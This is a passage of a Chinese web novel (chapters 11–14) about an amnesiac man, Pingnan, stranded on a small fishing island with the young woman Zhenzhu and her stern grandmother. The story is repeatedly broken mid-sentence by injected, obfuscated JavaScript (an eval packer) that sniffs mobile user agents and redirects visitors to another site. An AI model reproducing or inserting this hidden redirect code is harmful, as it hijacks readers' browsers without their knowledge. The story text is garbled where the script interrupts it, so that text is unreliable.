平南决定先安心留下来,他现在没钱出去,还记忆全无,就算去了外面也很难保证他不会被外人利用,或者再次被那个凶手盯上,更何况自己是在这个岛上失忆的,说明害他的人就在这个岛上,他不想放过那个人,也找不到比这里更安全可靠的地方。 平南决定先从蓝月岛上现有的人里开始排除。 首先排除掉珍珠和王淑华,就像珍珠说的,她要是要害他,就没有必要再去救他,而王淑华要是想害他,又怎么会蠢到在自家山坡前把他推下去,还允许他刚好滚到自己门口。 脑子突然的灵光使他夜不能寐,导致第二天醒来的时候,日头已上三竿,珍珠早就去上班了。 平南在二楼听了会院子里的动静,确认王淑华不在才放心的从二楼下去,看到了桌上留给他的早餐,海鲜粥和伴着辣椒酱的小鱼干的拌菜。 天天都是重复的东西,他都不喜欢,磨磨蹭蹭喝完了那碗粥,平南赶在王淑华回来之前出门,踏上了摸底蓝月岛的行动。 他第一个把名字告诉了小渔。 主要是那天谢嘉说的话太难听了,说的他好像是个没有名字的黑户一样,其次,小孩子嘛,心思单纯,最容易套出点什么话。 “所以这个名字是珍珠姐姐给你取的?”小渔嘴里还塞着一根刚拆封的棒棒糖,说话含含糊糊的。 平南把嘴里的她给的棒棒糖拿出来,“对呀,也不知道她怎么会想到这两个字。” 他抬起头,望着穿过树叶的斑斓光线猜测道:“可能是希望我平平安安,一生顺遂。” “珍珠姐姐才不会那么闲呢。”谢嘉发出一声嗤笑,“肯定是你话太多了,她听着烦,随便看到什么字就给你用了。” 平南觉得这小孩说话还真是难听,但他是个成年人,为什么要相信一个小孩子的胡说八道,他要做正事,有自己的判断力,一早上倒也从小渔那里知道了点到岛上的事。 谢嘉虽然很不会说话,但是很会纠正人,小渔哪里说错了就立马指出来,然后再附上一大堆他的所见所识,以及自以为的深刻见解,中间还阻止了一次小渔想再吃一根棒棒糖的想法。 从两个小孩的话里可以得知,蓝月岛就是个再普通不过的海岛,岛上的人,朴实简单,一辈子就靠打渔为生,按理说他这样的人怎么会和一群渔民扯上关系,这太不合理。 他赶在珍珠中午下班的时候回到家,下午又趁着王淑华午睡时出去继续摸底,结果一天下来还是什么收获也没有。 开渔期还留在岛上的人都太老了,他们已经没法再跟大海斗争着去讨生活,平南很难把这样一群看起来把老弱病残四个字完全占尽的人跟凶手联系起来。 一天的劳累奔波让他晚上的时候面对那一桌麻烦的海鲜更加没胃口,只挑着碗里的白饭,不知道王淑华为什么昨天做过的菜今天又要重复做一遍。 王淑华是完全不想理会他的这些小情绪的,毕竟平南已经对她饭菜表现出太多次的不满意,这本身就是一种挑衅。 于是珍珠赶在奶奶发气之前,用力打了他的一下筷子,严厉道:“快点吃饭。” 王淑华节俭惯了,也没有什么生活来源,冰箱这种东西自然是没有的,天气热容易变质,每顿都是按量做,而且海鲜不能过夜。 况且平南挑食这个毛病实在不好,他像是还不知道自己会在蓝月岛待上很长一段时间,这就是他们的一日三餐,她不可能次次都去顺着他,不照顾王淑华天天大早去赶海给他们准备新鲜食材的不易。 三人份的份量,她和奶奶也没理由一直帮他消化掉那部分,到时候等渔船上真有认识他的人回来,还以为她们虐待平南呢,不给他吃饭。 珍珠很冷酷的宣布,从今晚起,大家吃饭实行分餐制,不可以浪费。 她当机立断又拿了一个新盘子过来,公平的划分成三份,然后告诉平南这里面的东西必须吃完,以后也是。 平南苦大仇深的看着面前的盘子,王淑华的眼神太严厉了,他只能全部吃下去。 久而久之,平南终于发现醒来的那天珍珠说的不过是句玩笑话,他对于珍珠而言更像是一只不那么受喜爱的宠物,没有喜欢到一眼就想带回家。 但是因为是主动送上门来的,惨兮兮的模样,不捡好像会良心不安,于是捡回家也可有可无,偶尔也会因为他看上去过于可怜而勉强对他释放出一些友好的信号,然后说一些好听的话随便哄哄他。 不至于让她这个主人看起来太不称职,而受到道德上的谴责。 第二天早上,他很冰冷的在吃完早餐后,仰着下巴当着王淑华和珍珠的面出门了。 王淑华本来就懒的管他,平南走到门口时还听到她很冷漠地说了句,“就知道白吃。” 平南拳头攥了又松,又攥紧,抿着唇一路走到渡口边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645224|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有人比他先抵达了那里,是一个看着和他年纪差不多大的清秀少年,是之前从未见过的面孔,平南敏锐的提高警惕性,假装随意的坐了过去打招呼,“你在看什么?” 长风目光盯着前方,一板一眼的说:“海里有美人鱼。” “?” 这样怪诞的传闻任谁都会好奇,平南睁大眼睛来来回回看了好几遍,也没在海上见到半点踪影,凝着眉说:“你是不是看错了?” “我真的见过。”长风终于偏过头来,神秘兮兮地说:“珍珠姐姐就是从海里来的,她也是美人鱼。” 平南冷笑一声,差几岁呢还叫别人姐姐,还美人鱼,“你在说什么鬼话。” “真的,我见过,然后王奶奶就把她带回家了,但是她让我不可以告诉别人。” “是是是,你见过。”平南懒的和他扯皮,觉得这人神神叨叨的,还不能告诉别人呢,怎么又告诉自己。 长风这时候终于认出了他,主要是平南和前两次见面太不一样了,褪去了光鲜的打理,又在床上生病躺了三四天,生活不习惯再加上他出门时也不注意防晒,现在已经消瘦变黑了一个度。 长风前些天都没有出门,因此很不理解的缓慢问道:“你为什么还在这里?” 珍珠捡到个人这件事早就在蓝月岛传开了,毕竟这种东西还真是不好捡,因此岛上很多人即使没见过他,也会因为他的新面孔而自动对上号,平南以为他说的是渡口,回答道:“我在等出海的渔船回来呢。” 他现在就全寄托有出海的人可以快点回来,带他离开这里。 长风歪着脑袋想了想,流露出一种孩童的茫然和困惑,而后像是很尊重他的选择,“好吧,不过他们要很久才能回来。” 这句话仿若当头一棒,平南从来没体验过渔民生活,还以为出一趟海顶天了也不过就是个把星期,觉得自己再过几天马上就能离开。 他略有失控的抓着长风的肩膀问:“什么叫很久才回来,很久是多久?” 长风说:“我阿妈说,阿爸要等冬天的时候才能回来。” 平南顿感眼前一黑,耳边长风还在继续科普:“除非是遇到极其恶劣的天气,那个时候阿爸连卫星电话都打不过来……” 平南这个时候还不知道,其实长风说的夸张了一点,普通渔船捕捞工作半个月左右就能返回,只是不是所有人都有渔船的,更多人是‘打渔’的渔民,他们没有属于自己的雷达渔船,只能靠给船上打工而生。 但这对于平南来说也已经算是重大打击了,他才反应过来那日岛长提出看似没有任何保障的方案已经是最快解决问题的方法。 现在好了,他不知道在那张睡起来浑身都难受的木床板上还要度过多少个夜晚,自己又还要吃下多少不喜欢的东西。 平南苦皱了一张脸,愤愤道:“早知道就不叫王珍珠和我一起出去了。” 长风都快被他晃晕,但还是立马接话道:“可是珍珠是出不了岛的。” 12. 第十二章 “什么意思,她为什么出不了岛。” 大概是和谢嘉初次见面时,他口里曾叫囔着什么神树,又联想起那晚要珍珠陪同他出岛时大家纷纷变幻的脸色,致使平南以为这个落后闭塞的小岛竟然还有这种愚腐的思想,不须多时,脑海就自动浮现了珍珠被陋风陋俗困在蓝月岛饱受压迫束缚的隐忍经历。 什么献祭、最后一个守岛人的剧情愈演愈烈。 他揪着长风的衣领诘问:“这都什么年代了,难道你们还要把人困在这里,不准她出去。” 长风局促的缩了缩脖子,本来说话语速就慢,现在更是艰难,“不是,是珍珠晕船,她坐不了。” “......?” 一个住在海岛上的人晕船?平南松开手,“那她岂不是从来没有出去过。” 长风点点头,又立马否认掉,恢复成之前神神叨叨的语气:“可她本来就是从外面来的。”但是平南说的其实也没错,珍珠来到岛上以后是没有出去过。 平南扯了扯嘴角,以为他还没从那个美人鱼的幻想里脱离出来,心中实在无法把长风和那个凶手联系起来。 一个这么大了还会对童话故事深信不疑,并且直接代入到珍珠身上的人,很难说他脑子是不是真的有什么问题。 被这样一个人给推下去,还不如自己滚下去算了。 这时候平南也忘记了自己最初来到渡口的目的,被长风那句渔船要冬天才能回来给打击到了,这意味着他还要在王淑华的眼皮子底下讨一段很长时间的生活。 王淑华的眼神太有压迫性了,看着他就跟等着揪错的家长一样,以前还好,想着也不过就是几天的时间,忍一忍就忍一忍,反正没几天就要走了,结果现在还有这么久。 如果一张船票是八千,他要去哪里才能赚到这么大一笔钱提前离开,平南回到冷饮店的一整个下午想起那笔钱就觉得跟要他的命似的。 临近下班,珍珠还在柜台那里收拾东西,蓝月岛消解不了那么多塑料垃圾,她需要将冷饮店的汽水瓶冲洗晾干、压扁,放在纸箱里等财叔回来带出去回收卖掉。 等一通操作下来,下班时间刚好只剩下最后十分钟,平南终究是没有沉住气,见她停手走向前,试探地问:“你工作一个月有多少钱?” 珍珠顿了一瞬,含糊不清地说:“能有多少钱,还不就那么点。” “那你能不能先借我点。” “不能。”珍珠眼皮都没有动。 许是她也察觉自己拒绝的太快,而平南在听完回答后沉默的太久,珍珠缓了缓说:“好了,你又还不能出去,岛上也没什么要花钱的地方,吃饭都在家里,要什么钱。” “我的钱都是留着有用的,听话,别让我为难好吗?” 珍珠没有说什么推辞的话,全部从实际情况出发,他被珍珠捡到照料,衣食住行也全部由王家在提供,如果这样平南还要强求像看起来工资就很不高的珍珠借钱,就显得很过分。 好像一个完全不知道感恩,只会索取的人。 珍珠思虑片刻,又很贴心的给平南提出一个建议,“这样吧,你没事就去捡点瓶子,洗干净拿到岛长那里去换钱。” 平南:“……”这跟叫他捡垃圾有什么区别。 他想赚钱的心是真的,可是要他去捡垃圾,还不如直接看王淑华说他吃白饭的眼神呢。 …… 如果不丢失了记忆,平南大概很难想象,从小在他生活里只是充当数字的金钱,有一天会变成他梦寐以求的渴望。 甚至在当晚听到了王淑华一声冷哼后,就做了一个质朴得不能再质朴的梦,对于现在的平南而言简直就是爽文般的存在。 无数红彤彤的钞票从天而降,他甚至还接了一盆子很硬气的放在王淑华的面前,看她悔恨不已,忏悔说自己不该用那种态度对他,最后平南坐在一膄很漂亮用钱搭建的十五层邮轮上,在钱海上向着火红的落日出发,成功离开了蓝月岛。 过了会,平南发现不对劲了,船怎么只往太阳的方向走,而且越来越近,用钱搭建的船头瞬间化为灰烬,下一秒,他也进入了太阳里。 “我的钱。” …… “王珍珠,王珍珠……” 珍珠看了眼窗外,天都还是黑的,但是门外那个人显然不知道自己发出的声音有多么扰人清梦,又过了几分钟,她终于受不了从床上撑起身子,下来一把打开门,语气不善:“直接说。” “我风扇坏了,睡不着。” 平南第一次见到那个破破烂烂的脏风扇就觉得它的寿命不会很长,果然,他才住几天呀,那个风扇就不转了,吓的他还真以为自己被太阳吞了。 “……”珍珠深吸一口气,拿过柜子上的蒲扇塞到他手里,“好了。” 平南还没反应过来,眼前的门就被冰冷的关上。 “王珍珠,我扇扇子还怎么睡啊,这个风一点也不大……” “那你睡走廊外面,外面风大。” 珍珠翻个身,听到平南在外面生气的拍了拍门,嘴里还在那里叫囔:“可是外面这么多蚊子怎么睡啊,它们全都在咬我,王珍珠……” 五分钟后。 珍珠房间的地上铺上了一层凉席,平南坐在上面,手都快伸到珍珠眼前了在那里给自己身上的蚊子包涂风油精。 他是一个顶招虫子的人,也就站了那么一会,白皙的手臂上就叮了七八个红包。 珍珠对他幽怨的眼神视若无睹,等他擦完,‘啪嗒’一声关上了灯。 平南从来没有在这么糟糕的环境下睡过,水泥地比那张木床不知道咯人多少倍,整个人凉席上翻来覆去。 蓝月岛的夜色并不黑,岛上的月亮总是格外的大,宝蓝色的天空,清辉从纱窗倾泻而下。 他不舒服的仰起头,一点睡意也没有,想起什么似的轻声问道:“王珍珠,你晕船真的很严重吗?” 虽然王珍珠也许并没有很情愿捡到他,也不会一直帮他,会在他的盘子里分很多难吃的东西,但是平南还是希望她有机会在某天可以去外面看看,不要一直留在这个岛上。 这里的命运好像一眼可见,也许一直留在海岛上的王珍珠会在人生的某一个阶段变成脾气不好的王淑华,实在太恐怖了。 “肯定是因为你坐的船不好,也许你坐很好的船就不会这样,或者你上去之后直接待在船舱里别出来算了,假装骗自己没在坐船,” 平南等了好久也没听见她的回复,坐直凑了过去,小声的又叫了她一句。 珍珠仍是没有反应,闭着眼看起来睡的很沉。 银碎四溢的月光流淌在她白釉般光润的脸侧,以前怎么没发现,原来她眉毛下边还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667735|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗这么小的痣,他目光向下,落在珍珠比寻常人要颜色嫣红一些的嘴唇上,跟涂了什么唇脂似的,即使睡着也显得气色很好。 下一秒,珍珠蓦然睁开双眼,盛满清辉的眸子与他相对上,“干什么?” 平南伸出去的手瞬间收回,含糊不清道:“地上太硬了。” 珍珠的房间比他的稍小一些,其实放下这张大凉席后就已经不剩下什么位置,她低下头看了眼自己绰绰有余的大床,声音没有一丝起伏地讲:“不睡就滚出去。” 这一夜自然睡的极其不舒服,平南翻来覆去到后半夜,第二天直到快吃午饭才醒来。 王淑华冷着脸把饭菜用力放在他面前,早餐和午饭成了一顿。 饭后,珍珠让他提着电风扇一起出去,绕了两个弯走到一个类似于修理铺的地方。 老板拍了两下风扇,左右查看了几眼,直言说,“是这风扇太老了,修起来估计挺麻烦的,而且费用跟买个新的也差不了多少,你要不然干脆买个新的算了,这个旧的我给你回收?” 珍珠询了价,先寄放在那里,又带着平南去小超市里问价。 回收八块,修理二十五,买新的六十。 这很难选。 王家已经很多年没有买过这种新电器了,老板娘提着一个白色的小台式风扇劝道:“珍珠,干脆买个新的算了,这个好,大牌子,风力又大,晚上吹着肯定不热。” 珍珠朝她后面其他的风扇看去。 老板娘侧开身子,半真半假地说:“这些可都是些便宜货,杂牌子,你要是想买可得考虑仔细了。” 珍珠思索着回头看平南一眼,最后那个白色风扇还是以员工价五十五元被平南提在了手里,他这才知道,原来小超市和冷饮店都是一个老板,岛上的冷饮生意相当于被一个人垄断了,老板娘就是那个叫阿财叔的老婆。 珍珠回家的路上很有道理的说:“你看这就是把钱花在刀刃上,谁也不知道哪天会出什么意外,如果我们把钱都花了,那今天是不是就不能给你买这个牌子风扇了?” 平南还没有回答,她把棒冰掰成两半,递过去一截,又煞有其事的说:“你要是真的缺什么可以直接和我说,你肯定不会讲价对不对,那是不是又要浪费钱。” 平南看着那半截塑料管没动,很简陋,里面装着什么好像类似于草莓香气一样的粉红色冰块,理智的大脑告诉他不该吃这种东西。 珍珠将手中的棒冰往前一递,前端已经怼到了他的薄唇上。 平南张开嘴,咬住了那根棒冰。 很奇怪的味道,看不到任何草莓的存在,味道却无比的浓烈。 他低下头,看到珍珠因为咬了一口棒冰更莹润的嘴唇,开开合合,“你看这个棒冰就是我们靠剩下的钱买的,这其实就是你自己赚的钱呀,很甜对不对。” 珍珠这样说是另有想法,平南以前想不想要她的工作她不知道,但是他昨天问自己借钱的时候是真的很想取代她。 这完全可能是因为平南太闲了,每天在海岛上瞎逛无所事事引出来的问题。 “一般般吧。”颜祈吸着那根不知道是什么构成的棒冰这样说。 珍珠伸出一只手在空中虚握了一下,捏成拳,颇有几分人生导师的意味,“所以我们不能觊觎别人的东西,金钱要自己脚踏实地的创造才行。” 13. 第十三章 平南捡起了瓶子。 尽管这对他真的很难,但那个不细究也许真是个大牌子的新风扇提着在手里太沉重了,珍珠在回去以后跟王淑华报的价格还算上老风扇卖掉的钱,只说了四十七。 重上加重。 王淑华对这个价格也很不满意,但最终只是对平南撂下‘败家’两字,也算是过去了。 不过她对平南会愿意找点正事干这件事并不相信,平南那双手修长白皙,一看就知道没干过什么活,怎么可能会愿意做这种事。 “还不是做做样子,在外面偷懒。” 珍珠今天休息,此时正在帮王淑华一起给菜地浇水,笑道:“去看看不就知道了。” 王淑华弯着腰:“我才不去。” 平南捡瓶子是在东边的礁石滩,上周暴雨狂风加上潮汐,海里的垃圾都被带了上来,一片狼藉。 蓝月岛没有什么垃圾收集清理器,一直以来都是靠人工作业收集然后定期运出去,只是近年来垃圾增长的速度远远超过预想,岛长便颁布了一项鼓励机制,凡是捡到了塑料瓶这一类可回收利用的东西都可以去他那里兑换奖励。 可就是这样看起来毫不起眼、藏在乱石缝里已经严重变形的塑料瓶,平南没想到还会有人跟他抢着捡,不过就是提着夹钳盯着瓶子内心挣扎了五分钟,一个阿婆就以快若闪电的速度夹走了,只留下冷漠的背影。 平南对着阿婆的背影嘴唇翕动了两下,低着头只能继续找。 一上午下来,倒是也捡了半麻袋左右的塑料瓶。 王淑华站在远处树荫下忍不住骂道:“真是作孽,我看外面的人也是越活越回去了,什么东西都往海里扔。” 王淑华自从丈夫他们去世后就再也没有出过岛,蓝月岛于她而言不仅是留存所有记忆的家乡,更是内心自我禁锢的囚牢。 蓝月岛出去的人很多,外面的便利和繁华对他们的内心产生了巨大的冲击,于是回来的人越来越少。 听说小汽车不用人也可以驾驶,听说她年轻时经常去卖海鲜的那个小渔村已经全部是水泥马路,王淑华在偶然的只言片语里了解这个世界,又在时代飞速发展的洪流里被遗留在了封闭的蓝月岛,她不向往外界,更多的是一种抗拒和恐慌,这些年已经在各方因素下演变成了厌恶。 王淑华有时候需要靠一些对外界贬低否定的话来掩盖自己内心的胆怯,像是在确认自己还活着,并非完全丧失生活的意志,沦为行尸走肉。 …… 平南捡的脸通红,拖着那个装满的麻袋想找个树荫休息,一回头看到珍珠站在岸堤上,他挺直腰板把麻袋提过去,“这么多够了吧。” 袋子鼓鼓囊囊都能直接立起来,一堆垃圾有什么好看的,珍珠把手里的双囍搪瓷杯递过去:“喝不喝。” 平南说:“算了吧,我手是脏的,等下还要洗瓶子。” “喏。”珍珠把杯盖掀开,递到他嘴边,“喝吧。” 平南喝的第一口就发现这杯水又加了糖,他喉结滚动了下不太喜欢,只抿了一小口就移开了。 “就喝这么点?”珍珠把水杯举高了点,“我特意端过来的,你别浪费啊。” 真麻烦,平南就着她的手把那杯水喝了个干净,扬起一点下巴尖,“好了,你回去吧,我现在要去洗瓶子了。” 珍珠把杯子盖好,抱在怀里,“走吧,我和你一起去。” 被潮水推上岸的塑料瓶大多都进了水,还有些是根本没喝完,冲洗一是怕堆放太久有味,二也是方便到时候运输拿出去可以直接卖。 珍珠找了平缓的地方把杯子放下,往袋子一看,里面竟然还有半袋子其他的塑料垃圾,有些意外道:“你竟然还捡了这些。” “哦,随便捡的。” 也不知道哪来这么多没素质的人往海里丢了那么多垃圾,谁让那些垃圾和瓶子缠在一起,看着碍眼,让他不得不把这些垃圾也一起丢进袋子里,想想就烦。 珍珠手刚伸出去,被平南用小臂猛地挡住,“你干吗?” 珍珠抬起眼:“帮你洗瓶子。” 平南皱着眉头,看她竟然手套都不戴就敢直接碰这些瓶子,燥闷地用她的昨天的话还回去,“我自己的钱会自己脚踏实地的赚,你去旁边坐着。” “……好吧。” 几乎是全程憋气,临近中午平南才冷着脸把那些瓶子终于通通洗干净,又把其余的垃圾倒在焚烧池里,便拎着那半袋子塑料瓶去了岛长那。 岛长把瓶子点了点,转身从屋子里拿了五枚硬币塞在他的手里,抬起手欣慰的拍在平南的肩头:“下次继续努力。” 平南木愣愣的垂下眼眸,又一脸错愕的抬起盯着岛长,险些被那一堆黄铜色的小硬币刺痛了眼,“这是什么?” 五个五毛? 两块五? 他捡了一上午的瓶子,辛辛苦苦洗干净,就值两块五? “你这孩子怕不是脑子也摔傻了,怎么连钱都不认得。”岛长像是为了鼓励他一样补充道:“你那里一共二十四个,我还给你凑了整数呢。” 十个才一块钱。 他如果要是想从这里坐船离开,八千,岂不是要让他捡八万个瓶子。 平南反应过来气笑了,咬着牙偏过头,看到珍珠立马低下头扣起了指甲,一副很有事做的样子,“王珍珠。” …… 岛长离王家有一段距离,珍珠看他一路脸色都不好,也有点心虚,但是这又不能全怪她,他自己不是也没问,纠结了会还是快走几步到平南身边,讪笑道:“要不我帮你拿?” 平南脚步不停,对她的示好并没有接受。 “你真生气了?!”珍珠歪着头去观察他的表情,就差围在他身边转个圈,完全没注意到脚下的石子,身子突然一崴。 平南倏地扯住她的手腕,一时没控制好自己的情绪,“王珍珠,你走路能不能看着点?” 珍珠趁机抱住他的手臂:“别生气了,积少成多嘛,你看你第一次就能赚到这么多,以后速度变快了,那还得了。” “是吗?”平南脸上的神情很微妙,不知道是真的相信她的说辞没有。 “当然,我才不会说这种没有意义的假话,我是真的觉得你很厉害,你都不知道我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679586|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上次去的时候,一共才捡了十个。” 平南微微侧着脸:“那就是一块钱。” 珍珠连连颔首,趁热打铁:“对呀,说不定你到时候赚的钱比我还多呢,礁石滩那边风景好,赚钱又锻炼身体。” 她低下头,耷拉着脸,“不像我,只能待在那个小冷饮店里,走都走不开。” 平南抿了下唇,并不是很会安慰人,“也还好啦。” “那你还生气吗?”珍珠说。 “……” 珍珠晃了晃他的手,有点不依不饶,“你说,你不生气了。” 平南:“……我不生气了。” 几乎是他话音落下的瞬间,珍珠松开了他的手,气势都不一样了,看起来很气势凛然,她双手抱在胸前,先前什么要帮平南拿工具的话就跟没说过似的,头也不回的丢下一句,“那你还不走快点,饭都要赶不上了。” …… 院子里,王淑华已经把饭菜都端在了桌子上,今天额外多了一个紫菜虾滑汤,里面还加了鸡蛋。 她养的那几只母鸡有点老了,最近下蛋并不多,以前珍珠还没来的时候,都是放在小超市寄卖,她自己也不舍得吃,王淑华一分钱掰成两半花,家里吃的海鲜都是早上赶海免费得来的。 其实鸡蛋算不上什么珍贵的东西,只是不管在任何地方都讲究一个物以稀为贵,在海岛,鸡蛋就是比海鲜稀有。 以前王淑华早上都是单独煮一个鸡蛋塞到珍珠的小布包里,今天还是平南来以后她第一次做,而且汤里并不是带壳的整虾,是一颗颗小粉团子。 珍珠看了奶奶一眼,给平南盛了满满一碗汤,“快喝,今天不准剩。” 平南捡瓶子的工作就这样继续了下去,他把那两块五放到了一个透明罐子里,有一点是一点吧,要不然还能怎么办呢,他现在寄人篱下,总要存点钱傍身。 对于自己的这种困境,平南全部说给了长风听。 长风是一个很能容易神游天外的人,总是你跟他说着,他就走神了,但是平南每次都吐槽的太过于尽兴,没有时时刻刻注意到,他有太多的苦闷需要倾诉。 他也找不到其他合适的人,小渔太小,还太理智,不是很喜欢发表自己意见的长风刚刚好做他的倾听者。 平南从自己早上又捡了一堆塑料说到那个阿婆抢他瓶子,再义愤填膺的唾弃完那些乱扔垃圾的人后,又说到珍珠分餐。 “我发现王珍珠分菜一点也不公平,她昨天还故意把自己那份蔬菜夹给了我,骗我说她先吃完了,你说她是不是很过分,我都不知道她以前这样做过多少次……” 平南碰了碰长风的胳膊,发现他今天并没有很仔细在听自己讲话,而是一直在玩手里那个彩色的异形徽章。 “这什么?” “不知道,我今天在沙滩边捡到的。” 平南嫌弃的扫了眼,“谁知道是不是跟着哪堆垃圾冲上来的,脏死了,快丢掉。” 长风递过去,“你看,这个背面还有字。” 万世集团。 平南没接,冷哼一声,“这也是个没素质的。” 14. 第十四章 平南把话题扯了回去,“你说她是不是很过分,我真是不知道她以前都是怎么混过去的,还总说我呢,其实自己才是毛病最多的那个。” 长风不懂为什么平南在说到珍珠的时候会更激动,好像珍珠给他分蔬菜是比乱扔垃圾还可恶的事情,但他本质上是个听话的,没有再玩那枚徽章,很认真地回道:“我们不可以在别人背后说他们的坏话。” 平南愣了下,“这也不算在说坏话吧,而且我最后也吃完了。” 他挠了挠头,不知道怎么和长风解释,于是看着长风手上的动作岔开话题:“你这是在干吗?直接丢了不就行了。” 长风往徽章外缠了几张纸,慢吞吞地说:“阿黄有时候会乱捡地上的东西吃,很危险。” 平南也不是很想继续这个话题,他也不在意阿黄是谁,长风总爱给一些乱七八糟的东西取名字,有时候天空飞过一只鸟,他都能说两句,平南见惯不怪,两人回去的路上看到了在草地上一个人玩的小渔。 谢嘉在一旁抠着手指头赶寒假作业,暑期都要结束了,他的作业还剩一大半没动。 长风熟络的和小渔一起玩起了扯草游戏,一大一小两只手提溜着两根杂草交缠在一起,相互用力往后扯,看谁的草先断。 无聊又愚蠢。 平南坐下来没多久,视线里突然出现王淑华的身影,连忙将手里的草放下,头歪到谢嘉那边好像在教他做作业。 谢嘉一把捂住自己的作业,瞪着眼:“谁让你偷看的?” 平南咬着牙,立马说:“你以为我稀罕,这么简单的题都不会,你还好意思坐在这里玩。” “我才没有玩,我只是在盯着江小渔而已。” 平南嘴里跟他拌了几句,悄悄抬眼,发现王淑华只是用很奇怪的眼神朝他们这边看了几眼,就走远了。 他醒来也有一个星期了,尽管蓝月岛的人都已经在叫他平南,王淑华却一直很有态度对他只有一声‘哼’。 半下午时,外头乌云笼罩,海风吹的猎猎作响,平南回到冷饮店才发现珍珠早就关门了,一个人回到家,前脚刚进屋,下一瞬海风就携着豆大的雨珠击的门窗啪啪作响。 这一场雨直至下到晚上十一点才停,平南从睡梦醒来迷迷糊糊的去楼下喝水,冷水瓶里只有小半壶,他一口饮尽准备接着去楼上睡觉。 身后突然冷不丁的响起了王淑华的声音。 “平崽。” 平南差点没吓出一身冷汗,一时分不清是王淑华是突然出现在他身后吓人,还是这毫无征兆的昵称更让人汗毛直立。 他尴尬转过身,不太自在地叫了声:“奶奶。” 王淑华像是没听,趔趔趄趄的走向前抓住他的手,“平崽,都这么晚了你怎么还不睡。” 平南犹豫道:“喝,喝水呢。” 王淑华从未如此温和的叫过他,平南吓的整个背都僵直了,没明白她怎么突然转了态度,明明白天还不是这样的。 王淑华温声道:“那你喝完了就快去睡吧,明天还要早起呢。” “好......”平南把自己的手抽回来,发虚地说:“那你也早点睡。” 说罢,他逃也似的回到楼上,不知道王淑华是不是突然抽了什么风,还是真的良心发现了,决定他留下的这段时间要好好相处。 下过雨的夜晚温度温度攀升,房间里充斥了夏日的闷热,平南伸手按了一下风扇的档位键,翻过身准备睡觉,等了好一会儿也没听见风扇的转动声,应激似的直起身,看见那个风扇又不转了。 在平南第五声跟猫叫似的在墙边唤她名字时,珍珠攥紧拳头打开了门。 “三十秒。” “我风扇又坏了。” 珍珠轻啧了声,抬起眼,平南立马道:“跟我没关系。” 风扇买回来三天都没有,怎么算也不能算到他的头上吧。 珍珠怀疑的看了他眼,关开门去了隔壁房间,一看还真是怎么按都没有反应,冷静地说:“我明天去问问,你先去我那睡吧。” 一回生二回熟,平南搬的很快,嘴里还嘟哝着,“说了和我没关系吧,怎么就我的风扇总是坏,是不是她骗人卖了假货给你。” “闭嘴,不睡出去。” 平南撇了下嘴,躺在地上,也许是地上温度稍凉,过了半晌他才反应过来,对着床上同样也因为闷热而不得入眠的珍珠问道:“你是没开吗?怎么它也不转。” 珍珠烦躁的起身摁了两下开关,结果也没有任何反应,再看窗外,碧空如洗,星辰罗布,空气里还弥漫着湿润的泥壤气息,她不确定的又按了两下墙上的开关,发现灯也是灭的。 珍珠习以为常的躺回床上,“停电了。” “什么?”平南直接坐了起来,这么热的天,又困又热根本睡不着。 “停电了。”她又重复了一遍,解释的更加仔细,“估计是下雨的原因,没事,明天就会来。” “那我怎么办?” 珍珠面无表情地说:“就这样睡呗,我有什么办法,我又不能发电,实在不行你去走廊上睡,那里风大。” 平南想了想刚刚过来时门外那些咬人的蚊子,抿了抿唇,认命的拿过蒲扇挥动。 蒲扇大,平南举的又高,窗边无风,珍珠不动声色的挪到床边,习的一点微风,她想起白日里王淑华跟她说的事,迟疑了片刻,踟蹰道:“你认识长风?” 平南拿蒲扇手顿了一瞬,嗯了声。 珍珠又说:“你...就没发现他哪里有点不一样。” “有。”平南说:“他挺笨的。” “他那是不是笨。”珍珠忖了半晌,还是说出了实情,“长风小时候其实挺聪明的,就是有次生了一场病,然后就变成了这个样子。” 这也是她醒来不久后听二妞说的,蓝月岛那个时候还采用的都是老渔船,对于波谲云诡的大海来说根本没有任何的抵抗能力,没有人敢挑战暗沉沉的天空、狂风肆虐的汹涌海面,长风治救不及时,把脑子烧坏了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703587|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 平南若有所思地说:“怪不得。” 